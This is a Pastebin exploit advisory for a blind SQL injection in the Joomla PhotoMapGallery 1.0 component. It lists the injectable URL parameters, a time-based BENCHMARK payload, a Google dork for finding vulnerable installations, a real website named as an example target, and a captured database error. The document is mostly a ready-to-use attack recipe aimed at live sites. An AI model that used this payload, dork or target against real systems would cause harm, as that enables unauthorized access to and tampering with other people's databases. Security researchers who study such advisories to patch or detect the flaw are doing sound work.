KingSkrupellos

Joomla PhotoMapGallery Components 1.0 Blind SQL Injection

Feb 3rd, 2019
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.81 KB | None | 0 0
  1. ####################################################################
  2.  
  3. # Exploit Title : Joomla PhotoMapGallery Components 1.0 Blind SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 04/02/2019
  7. # Vendor Homepage : joomla.org
  8. # Software Download Link : hotjoomlatemplates.com/joomla-extensions/55-hot-photo-gallery-plugin-for-joomla
  9. # Software Information Link : extensions.joomla.org/extensions/photos-a-images/photo-gallery/
  10. # Software Version : 1.0
  11. # Software Price : 15$
  12. # Tested On : Windows and Linux
  13. # Category : WebApps
  14. # Exploit Risk : Low
  15. # Google Dorks : inurl:''/index.php?option=com_photomapgallery''
  16. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  17. Special Elements used in an SQL Command ('SQL Injection') ]
  18. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  19. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  20. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  21.  
  22. ####################################################################
  23.  
  24. # Description about Software :
  25. ***************************
  26. Joomla Gallery plugin - Hot Photo Gallery is all that you need to make Photo Galleries
  27.  
  28. of images directly in content pages of your Joomla website! This Joomla gallery plugin
  29.  
  30. creates thumbnail images and slide show automatically from your collection of photos.
  31.  
  32. ####################################################################
  33.  
  34. # Impact :
  35. ***********
  36.  
  37. Joomla PhotoMapGallery 1.0 component for Joomla is prone to an SQL-injection
  38.  
  39. vulnerability because it fails to sufficiently sanitize user-supplied
  40.  
  41. data before using it in an SQL query.
  42.  
  43. Exploiting this issue could allow an attacker to compromise the application,
  44.  
  45. access or modify data, or exploit latent vulnerabilities in the underlying database.
  46.  
  47. A remote attacker can send a specially crafted request to the vulnerable application
  48.  
  49. and execute arbitrary SQL commands in application`s database.
  50.  
  51. Further exploitation of this vulnerability may result in unauthorized data manipulation.
  52.  
  53. An attacker can exploit this issue using a browser.
  54.  
  55. ####################################################################
  56.  
  57. # SQL Injection Exploit :
  58. **********************
  59.  
  60. /index.php?option=com_photomapgallery&view=imagehandler&folder=[SQL Injection]
  61.  
  62. /index.php?option=com_photomapgallery&view=photogallery&id=[ID-NUMBER]:[FOLDER-NAME-HERE]&Itemid=[SQL Injection]
  63.  
  64. /index.php?option=com_photomapgallery&view=photogallery&id=[ID-NUMBER]:giratoire-rc1a-commune-de-crans-pres-celigny-2007&Itemid=[SQL Injection]
  65.  
  66. # Example SQL Injection Exploit Payload :
  67. ************************************
  68.  
  69. -1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
  70.  
  71. ####################################################################
  72.  
  73. # Example Vulnerable Sites :
  74. *************************
  75.  
  76. [+] schenksa.ch/index.php?option=com_photomapgallery
  77. &view=photogallery&id=3:giratoire-rc1a-commune-de-crans-pres-celigny-2007&Itemid=1%27
  78.  
  79. ####################################################################
  80.  
  81. # Example SQL Database Error :
  82. ****************************
  83. No valid database connection You have an error in your SQL syntax; check the
  84. manual that corresponds to your MySQL server version for the right syntax to
  85. use near 'AND i.ordering <= AND i.published = 1 ORDER BY i.ordering
  86. DESC' at line 1 SQL=SELECT count(i.id) FROM jos_g_galleryitems AS
  87. i LEFT JOIN jos_g_cats_item_relations AS rel ON rel.itemid = i.id LEFT
  88. JOIN jos_g_categories AS c ON c.id = rel.catid WHERE c.id =
  89. AND i.ordering <= AND i.published = 1 ORDER BY i.ordering DESC
  90.  
  91. ####################################################################
  92.  
  93. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  94.  
  95. ####################################################################
Add Comment
Please, Sign In to add comment